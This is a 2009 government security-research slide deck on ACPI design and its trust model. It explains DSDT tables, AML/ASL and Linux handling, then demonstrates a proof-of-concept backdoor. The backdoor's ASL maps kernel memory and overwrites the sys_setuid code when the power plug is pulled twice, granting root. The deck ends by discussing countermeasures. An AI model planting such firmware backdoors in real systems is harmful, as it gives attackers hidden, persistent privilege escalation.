ACPI design principles and concerns

Loïc Duflot, Olivier Levillain, Benjamin Morin firstname.lastname@sgdn.gouv.fr http://www.ssi.gouv.fr

Central Directorate for Information Systems Security SGDN/DCSSI 51 boulevard de la Tour Maubourg 75007 Paris

April 6th 2009

Introduction (1/3)

- Power management is a key functionality for modern computers, especially for laptops.
- > Difficult to achieve for an OS, which is a generic component.
- A few years back, APM (Advanced Power Management) enabled OSes to work with the BIOS to handle power management.
- Later on, ACPI (Advanced Configuration Power Interface) defined common interfaces for hardware recognition and power management :
 - OSes can now achieve power management on their own;
 - Machine-dependent functions are provided by the BIOS in ACPI tables.

Introduction (2/3)

- So, ACPI is a crucial feature, present in (almost) each and every computer.
- But who has ever checked what ACPI tables where actually instructing operating systems to do?
- Can ACPI be misused by an attacker?
- ▶ What exactly are the limits of what an attacker can do using ACPI?

Introduction (3/3)

- Trusted Computing relies on different technologies :
 - TPM;
 - Virtualisation (VT-x and Pacifica);
 - Trusted boot (TxT and Presidio).
- Technologies like TxT and Presidio, aiming at excluding the BIOS from the Trusted Computing Base, still need to trust ACPI tables.

<ロ> (四) (四) (三) (三)

Outline



- 2 ACPI design principle
- 3 ACPI from a security perspective
- Potential offensive uses
- **5** Conclusion



Outline

Introduction

2 ACPI design principle

- Overall architecture
- AML and ASL
- Linux ACPI implementation
- 3 ACPI from a security perspective
- Potential offensive uses

5 Conclusion





æ

◆□ > ◆□ > ◆豆 > ◆豆 >





- ACPI registers are chipset or configuration registers that can be used for "something" related to Power Management.
- ACPI registers can be :
 - PIO registers;
 - Memory mapped registers;
 - PCI configuration registers.
- These registers are machine-specific.

< ∃> < ∃>

< 67 ▶

Introduction ACPI design principle ACPI from a security perspective Potential offensive uses Conclusion Questions Overall architecture

ACPI Tables and ACPI BIOS



- ► ACPI BIOS : part of the BIOS related to ACPI
- ACPI tables specify the border between the machine specific world and the OS specific world :
 - they implement the standard ACPI interface;
 - they describe the ACPI structures and functions to be used by OSPM (i.e which ACPI register they use and how);
 - we will focus on the DSDT (Differentiated System Description Table).







OSPM stands for OS-directed configuration and Power Management

- OSPM is the component of the kernel responsible for the power management strategy.
- It is machine-independent, and uses the ACPI common interface.
 - for instance OSPM knows that to check the status of the battery, it has to run the _STA function for the BAT1 device.
- It is OS-specific, each OS may implement a different OSPM.
- An open-source OS-independant implementation exists (ACPICA).









4 3 4 3 4 4 3 4

- ACPI Tables are written in AML.
- OSPM needs an AML interpreter to be able to understand ACPI table content and to run methods.
- The interpreter may also be available to device drivers.

Introduction ACPI design principle ACPI from a security perspective Potential offensive uses Conclusion Questions
AML and ASL

ACPI Machine and Source Languages

- ACPI tables are written in AML.
- AML can easily be
 - disassembled in ASL (ACPI Source Language),
 - modified and
 - recompiled in AML.
 - with ACPICA tools (iasl)
- ASL basics :
 - scopes
 - devices
 - names and methods
 - variables

< ∃ > < ∃ >

Introduction ACPI design principle ACPI from a security perspective Potential offensive uses Conclusion Questions AML and ASL ACPI Source Language

Devices are organised as a tree in the ACPI Languages, the leaves being the methods and the fields.

- Devices :
 - _SB.VBTN : Power button
 - _SB.PCI0 : PCI Bus
 - SB.PCIO.PICO : Legacy Interrupt Controller
 - _SB.PCI0.USB0 : USB Host Controller
- Generic methods for devices :
 - _ON
 - _STA : device status
 - _SxD : device states
 - _CRS : current resource settings
- Global methods :
 - _PTS, _GTS, _BFS, _WAK...

Introduction ACPI design principle ACPI from a security perspective Potential offensive uses Conclusion Questions AML and ASL ACPI Registers in ASL

- ACPI registers can be :
 - PCI configuration registers;
 - Memory-mapped registers;
 - Programmed IO registers.
- They're defined by the OperationRegion statement :
 - OperationRegion(FOO, PCI_Config, Address [...])
 - OperationRegion(FOO, SystemIO, Address [...])
- > Fields of the register can be named with the Field statement.

```
        Introduction
        ACPI design principle
        ACPI from a security perspective
        Potential offensive uses
        Conclusion
        Questions

        AML and ASL
        Exemple of ACPI Registers
        Exemple of ACPI Registers
```

```
OperationRegion (SMIR, SystemIO, 0xb2, 0x02)
Field (SMIR, ByteAcc, NoLock, Preserve)
ſ
  SMIC, 8,
  SMID, 8
}
OperationRegion (UPC1, PCI_Config, 0xC1, One)
Field (UPC1, ByteAcc, NoLock, Preserve)
ſ
 LEGK, 8
}
```

শিক্ষর শিক্ষর ≺ ই ১ < ই → ই → এ ↔ 15/37



ACPI support in the kernel

- DSDT in /proc or /sys (depending on the kernel version)
- Modular support for various devices (Battery, fan, button, dock, etc.)

ACPI daemon (acpid)

Catches "notify" events from the kernel

Method(_INI, 0, NotSerialized)

{ Notify(_SB.VBTN, OxOA) }

Runs predefined scripts in /etc/acpi/events/ directory event=button/power action=/sbin/poweroff

Outline

Introduction

- 2 ACPI design principle
- 3 ACPI from a security perspective
- Potential offensive uses
- 5 Conclusion



Security Model

- ▶ Most ACPI code runs in kernel mode (AML parser for instance) :
 - ACPI code needs to run with high privileges as it is used to configure hardware.
- The OS needs to trust the AML code it is given :
 - This AML code is defined in the ACPI tables by the manufacturer of the platform;
 - The OS is generic and cannot identify all the valid ACPI registers.
- The chipset cannot differentiate hardware accesses corresponding to ACPI and those not corresponding to ACPI.

Confidence in ACPI Code

If we try to disassemble AML code and re-assemble it, errors may occur.

Loading Acpi table from file dsdt Acpi table [DSDT] successfully installed and loaded Pass 1 parse of [DSDT] Pass 2 parse of [DSDT] Parsing Deferred Opcodes (Methods/Buffers/Packages/Regions) Parsing completed Disassembly completed, written to "dsdt.dsl" Intel ACPI Component Architecture ASL Optimizing Compiler version 20061109 [Jul 11 2007] Copyright (C) 2000 - 2006 Intel Corporation Supports ACPI Specification Revision 3.0a dsdt.dsl Method (\ WAK, 1, NotSerialized) 286: * Reserved method must return a value (WAK) Warning 1079 dadt.dal 319: Store (Local0, Local0) Error 4049 -^ Method local variable is not initialized (LocalO) dsdt.dsl 324: Store (LocalO, LocalO) 4049 -^ Method local variable is not initialized (LocalO) Error ASL Input: dsdt.dsl - 4350 lines, 144392 bytes, 1678 keywords Compilation complete. 2 Errors, 1 Warnings, O Remarks, 382 Optimizations

イロト イポト イヨト イヨト

Function "profiling"

- > Different ways to find when methods are called :
 - analyse in depth ACPI documentation and Linux ACPI code;
 - enable ACPI logging and debug messages;
 - patch the kernel to detect all accesses to hardware ressources.
- ACPI accesses are very easy to track.
- Interesting ACPI methods may be :
 - those executed at startup;
 - those frequently called;
 - those triggered by external event.

Testing ACPI : modifying DSDT

Once the interesting are identified and instrumented, there are several ways to load a modified DSDT instead of the one provided by the BIOS :

- DSDT file can be included in a initrd : mkinitrd -dsdt=dsdt.aml initrd.gz 2.6.17-5
- Recent versions of Linux allow for insertion of a custom DSDT at kernel compile time.
- Some functions may also be added without a reboot
 - the LOAD AML statement allow for creating a new object (but not a redefinition);
 - the original DSDT might provide an update mechanism using LOAD.

Is there a limit to ACPI registers that can be defined ?

```
# cat /proc/iomem
[...]
00100000-1f6d33ff : System RAM
00100000-002ba4aa : Kernel code
002ba4ab-0037661f : Kernel data
003bc000-0041f57f : Kernel bss
[...]
```

An accepted OperationRegion :

```
OperationRegion (KERN, SystemMemory, 0x100000, 0x0c)
Field (KERN, WordAcc, NoLock, Preserve)
{
    __F1, 16,
    __F2, 16,
    __F3, 16,
    __F5, 16,
    __F6, 16
}
```

Outline

Introduction

2 ACPI design principle

3 ACPI from a security perspective

Potential offensive uses

- Attack description
- Demonstration
- Analysis

5 Conclusion

Potential offensive uses

- Bugs in the DSDT might be exploitable by attackers :
 - an attacker could force execution of an AML bugged method in order to gain some significant advantage on the machine;
 - a random bug in a DSDT table will not necessarily be exploitable though.
- Rootkits could hide functions in DSDT tables
 - the OS has to trust the DSDT;
 - genuine updates of the DSDT at boot time are likely (BIOS updates);
 - the attacker would make sure that the ACPI function providing rootkit functionalities is often run by the OS.

Backdoor principle

- ACPI backdoor :
 - an external event triggers the backdoor granting maximum privileges on the system.
- Proof of concept :
 - two direct pulls of the power plug trigger the backdoor;
 - on a Linux system, the backdoor modifies the sys_setuid system call so that every call to the sys_setuid grants superuser (root) privileges.

Introduction ACPI design principle ACPI from a security perspective **Potential offensive uses** Conclusion Questions Attack description

Modifications of the DSDT : creation of a device

```
Our device (ABCD) contains a register CTR which will be used as a counter.
Scope (\ SB.PCIO)
Ł
  Device (ABCD)
    Name (_ADR, 0x00000000)
   Name (_UID, Oxca)
   Name (_PRW, Package (0x02)
    \{ 0x18, 0x05 \}
    OperationRegion(REG, PCI_Config, 0x62, 0x01)
    Field(REG, ByteAcc, Nolock, Preserve)
    Ł
     CTR, 8
    }
    Method (_S1D, 0, NotSerialized)
    { Return (One) }
   Method ( S3D, 0, NotSerialized)
    { Return (One) }
    [...]
  }
}
```

 Introduction
 ACPI design principle
 ACPI from a security perspective
 Potential offensive uses
 Conclusion
 Questions

 Attack description
 Modifications of the DSDT : target structure
 definition

We add another region representing the physical address of the setuid system call instructions we will override.

```
OperationRegion (SAC, SystemMemory, 0x00175c96, 0x000c)
Field (SAC, AnyAcc, NoLock, Preserve)
{
    SAC1, 32,
    SAC2, 32,
    SAC3, 32
}
```



Introduction ACPI design principle ACPI from a security perspective **Potential offensive uses** Conclusion Questions Attack description

Modifications of the DSDT : incrementing the counter

- When the power plug is plugged or unplugged, the _PSR method of the adapter (_ADP1 device) is executed, and handles our counter CTR.
- The sequence written means movl \$0, 0x14c(%eax) in assembly language.

```
Device (ADP1)
  [...]
  Method ( PSR, 0, NotSerialized)
  Ł
    If (LEqual (\_SB.PCI0.ABCD.CTR, 0x4))
      Store(0x90900000, SAC3)
      Store(0x0, SAC2)
      Store(0x014c80c7, SAC1)
     }
     Increment (\_SB.PCIO.ABCD.CTR)
     Return (\_SB.MEM.AACS)
  }
  [...]
```



Introduction ACPI design principle ACPI from a security perspective Potential offensive uses Conclusion Questions Attack description Modifications of the DSDT : reinitialization of the

Regularly, we need a reset.

counter

▶ We use a method that is regularly called.

```
Device(BAT1)
{
  [...]
  Method (_STA, 1, NotSerialized)
  {
    Store(0x1 , \_SB.PCI0.ABCD.CTR)
    [...]
  }
}
```



Introduction ACPI design principle ACPI from a security perspective **Potential offensive uses** Conclusion Questions

Attack description

Modifications of the DSDT : summary

- Definition of a new variable CTR as a counter :
 - The variable is stored in an unused chipset register;
 - We have used a new device, but could have been done elsewhere.
- Every once in a while, the counter is reset by BAT1._SAT.
- On external stimulus (ADP1._PSR), counter is incremented.
- > When counter hits a particular value, kernel memory is modified.



- The DSDT has been added to the init ram disk.
- Pulling the plug twice triggers the backdoor : setuid will set everyone root.

Live demo…



Introduction ACPI design principle ACPI from a security perspective Potential offensive uses Conclusion Questions Analysis What is the problem?

- The problem is a general model problem.
- ▶ The OS cannot know what the correct ACPI registers are :
 - unless it understood the purpose of each and every hardware configuration register;
 - but then why would ACPI be necessary?
 - so filtering IO accesses is tough for the OS.
- On the other hand, the chipset cannot tell who is accessing registers : ACPI or device drivers?
- Neither the CPU (OS) nor the chipset can determine what are the legitimate ACPI accesses.
 - There is no policy enforcement point.



- Modifying the DSDT is a highly privileged operation :
 - a modified image of the DSDT in the kernel does not survive a reboot;
 - the DSDT must be modified in the BIOS or at boot time.
- ► The scheme is mostly OS-specific :
 - the attack relies on the knowledge of the AML method call strategy;
 - the payload uses a relevant target structure.



- Not really convincing countermeasures :
 - remove ACPI support in the kernel, a really bad idea for laptops;
 - remove any means to load a custom DSDT and check boot sequence integrity;
 - look for bugs in the DSDT, impossible in practice;
 - accept the risk.
- In fact, we can avoid some attacks, as the kernel knows an over-approximation of the valid ACPI registers; it is thus possible to enforce some (limited) control :
 - static analysis of the DSDT;
 - run AML interpreter in userland;
 - in a TxT system, run OSPM on a special VM.

Outline

Introduction

- 2 ACPI design principle
- 3 ACPI from a security perspective
- Potential offensive uses
- **5** Conclusion

<ロ> (四) (四) (日) (日) (日)

Conclusion

- ACPI is a very complex mechanism.
- ACPI code has to be trusted.
 - but trust in the ACPI code is difficult to achieve.
- Hiding functions in AML methods is possible for a rootkit.
 - but not so interesting as modifications do not necessarily survive a reboots.
- Flaws must be sought in the overall ACPI security model.
 - Where is the policy enforcement point of the model?

Questions

Thank you for your attention Questions? Contact address :

olivier.levillain@sgdn.gouv.fr

